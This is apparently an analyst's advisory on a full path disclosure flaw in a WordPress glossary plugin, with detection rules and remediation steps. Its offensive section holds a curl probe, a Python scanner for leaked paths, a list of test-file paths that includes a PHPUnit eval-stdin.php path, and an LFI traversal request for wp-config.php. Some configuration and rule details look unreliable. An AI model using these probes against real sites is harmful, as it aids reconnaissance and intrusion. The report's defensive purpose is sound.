CVE-2024-6570

Executive Summary

CVE-2024-6570 is a Full Path Disclosure (FPD) vulnerability affecting the Glossary plugin for WordPress (vendor: Wpdesk) in all versions up to and including 2.2.26. The vulnerability allows unauthenticated attackers to retrieve the absolute server path of the web application by directly accessing test files shipped with the plugin. This is possible because the plugin uses the wpdesk framework and does not restrict access to test files, combined with the PHP display_errors directive being enabled. While the exposed path alone is not directly exploitable, it provides critical reconnaissance information that can be used to chain with other vulnerabilities (e.g., Local File Inclusion, SQL injection, or path traversal) to compromise the affected WordPress site.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The issue lies entirely within the plugin's code and configuration, not in the underlying web server (Apache/Nginx) or WordPress core. The plugin's test files are accessible to unauthenticated users, and the display_errors setting (often enabled in development environments but mistakenly left on in production) reveals the full server path in PHP error messages.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – the vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – only the server path is disclosed.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: None (A:N) – no service disruption.

Threat Level: Medium. While the direct impact is limited to information disclosure, the exposed path significantly lowers the barrier for attackers to exploit other vulnerabilities (e.g., LFI, RFI, or SQLi) that require knowledge of the server's file structure.

Deep Dive & Mechanics

The vulnerability stems from two key issues:

1. Unrestricted Access to Test Files: The plugin includes test files (likely PHPUnit or similar) that are accessible via direct HTTP requests. These files are not protected by WordPress authentication or capability checks. When accessed, they may trigger PHP errors (e.g., undefined constants, missing includes) that reveal the full server path.

2. display_errors Enabled: The PHP configuration directive display_errors is set to On on the target server. This causes PHP error messages to be output directly to the browser, including the full file path (e.g., /var/www/html/wp-content/plugins/glossary/test/test.php).

Attack Flow:

• An attacker sends a GET request to a known test file path, such as:

  GET /wp-content/plugins/glossary/tests/test.php HTTP/1.1
  Host: target-site.com
  

• The server returns a PHP error message containing the full path, e.g.:

  Warning: require_once(/var/www/html/wp-content/plugins/glossary/vendor/autoload.php): failed to open stream: No such file or directory in /var/www/html/wp-content/plugins/glossary/tests/test.php on line 5
  

• The attacker now knows the absolute path (/var/www/html/) and can use this information to craft more precise attacks (e.g., path traversal payloads, LFI with known paths).

Why This Matters: In WordPress, many plugins and themes rely on relative paths. Knowing the absolute path allows attackers to bypass certain security filters and construct valid file inclusion strings. For example, an LFI vulnerability in another plugin might require the full path to include sensitive files like wp-config.php.

Vulnerable vs. Patched Code

Since no official patch has been released (status: UNKNOWN/UNPATCHED), the vulnerable code is the entire plugin version 2.2.26 and earlier. The fix would involve:

• Removing or restricting access to test files: Test files should not be deployed to production or should be protected by .htaccess rules or WordPress capability checks.
• Disabling display_errors in production: The wp-config.php file should have define('WP_DEBUG_DISPLAY', false); to prevent error output.

Vulnerable Code Example (hypothetical test file):

<?php
// /wp-content/plugins/glossary/tests/test.php
require_once 'vendor/autoload.php';
// ... test code that may fail
?>

Patched Code Example (recommended fix):

<?php
// /wp-content/plugins/glossary/tests/test.php
if (!defined('ABSPATH') || !current_user_can('manage_options')) {
    exit; // Restrict to authenticated admins only
}
require_once 'vendor/autoload.php';
// ... test code
?>

Additionally, a .htaccess file in the tests/ directory should deny all access:

Deny from all

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Glossary plugin <= 2.2.26 installed and active.
• PHP display_errors enabled (common in misconfigured production or staging environments).

Step-by-Step Exploitation:

1. Enumerate Test Files: Use a wordlist or common paths to discover test files:

   • /wp-content/plugins/glossary/tests/test.php
   • /wp-content/plugins/glossary/tests/bootstrap.php
   • /wp-content/plugins/glossary/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. Trigger Error: Send a GET request to one of these files:

   curl -v http://target-site.com/wp-content/plugins/glossary/tests/test.php
   

3. Extract Path: Look for PHP warnings or fatal errors in the response body. Example output:

   <b>Warning</b>:  require_once(/var/www/html/wp-content/plugins/glossary/vendor/autoload.php): failed to open stream: No such file or directory in <b>/var/www/html/wp-content/plugins/glossary/tests/test.php</b> on line <b>5</b><br />
   

4. Chain with Other Vulnerabilities: Use the disclosed path (/var/www/html/) to exploit other vulnerabilities, e.g., LFI:

   GET /wp-content/plugins/vulnerable-plugin/page.php?file=../../../../wp-config.php
   

Automated Exploit (Python):

import requests

target = "http://target-site.com"
test_files = [
    "/wp-content/plugins/glossary/tests/test.php",
    "/wp-content/plugins/glossary/tests/bootstrap.php"
]

for file in test_files:
    url = target + file
    try:
        r = requests.get(url, timeout=10)
        if "Warning" in r.text or "Fatal error" in r.text:
            print(f"[+] Path disclosed at {url}")
            print(r.text[:500])
    except Exception as e:
        print(f"[-] Error: {e}")

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /wp-content/plugins/glossary/tests/ or similar paths.
• Look for HTTP 200 responses with PHP error messages in the body.
• Use WAF rules to block access to test directories.

Hunting Query (Splunk):

index=web sourcetype=access_combined
uri_path IN ("/wp-content/plugins/glossary/tests/*")
status=200
| table _time, src_ip, uri_path, http_method, status

Prevention:

• Disable display_errors in wp-config.php:

  define('WP_DEBUG_DISPLAY', false);
  

• Remove test files from production deployments.
• Add .htaccess rules to deny access to plugin test directories:

  <FilesMatch "\.(php|phar)$">
      Order Deny,Allow
      Deny from all
  </FilesMatch>
  

Indicators of Compromise (IOCs)

• File Paths:

  • /wp-content/plugins/glossary/tests/test.php
  • /wp-content/plugins/glossary/tests/bootstrap.php
  • /wp-content/plugins/glossary/vendor/autoload.php

• HTTP Request Patterns:

  • GET /wp-content/plugins/glossary/tests/test.php
  • GET /wp-content/plugins/glossary/tests/bootstrap.php

• Response Patterns:

  • PHP Warning messages containing absolute paths (e.g., /var/www/html/).
  • HTTP 200 responses with Warning: or Fatal error: in the body.

• Log Entries:

  • Access logs showing requests to /wp-content/plugins/glossary/tests/ with status 200.
  • Error logs containing require_once(...): failed to open stream.

Detection Engineering

YARA Rule

rule CVE_2024_6570_Glossary_FPD {
    meta:
        description = "Detects PHP error messages revealing full path from Glossary plugin"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-6570"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $error1 = "Warning: require_once("
        $error2 = "Fatal error: Uncaught Error:"
        $path = "/wp-content/plugins/glossary/"
        $testfile = "tests/test.php"
    condition:
        any of ($error*) and $path and $testfile
}

Sigma Rule

title: CVE-2024-6570 Glossary Plugin Full Path Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Glossary plugin test files that may trigger full path disclosure.
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6570
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - "/wp-content/plugins/glossary/tests/"
            - "/wp-content/plugins/glossary/vendor/"
    condition: selection
falsepositives:
    - Legitimate admin access to test files (rare)
level: medium
tags:
    - attack.t1589
    - cve.2024.6570

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6570 Glossary Plugin Full Path Disclosure Attempt"; flow:to_server,established; content:"/wp-content/plugins/glossary/tests/"; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable display_errors: Add the following to wp-config.php:

   define('WP_DEBUG_DISPLAY', false);
   

2. Remove Test Files: Delete the tests/ directory from the plugin folder:

   rm -rf /path/to/wp-content/plugins/glossary/tests/
   

3. Block Access via .htaccess: Add to the plugin root or WordPress root:

   <Directory "/path/to/wp-content/plugins/glossary/tests">
       Order Deny,Allow
       Deny from all
   </Directory>
   

Long-Term Fix:

• Wait for an official patch from Wpdesk. Monitor the plugin's changelog or GitHub repository.
• Consider replacing the plugin with an alternative that follows secure development practices.
• Implement a Web Application Firewall (WAF) rule to block requests to test directories.

Workaround:

• If the plugin is critical and cannot be removed, use a WordPress security plugin (e.g., Wordfence, Sucuri) to block direct access to plugin test files.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2024-6570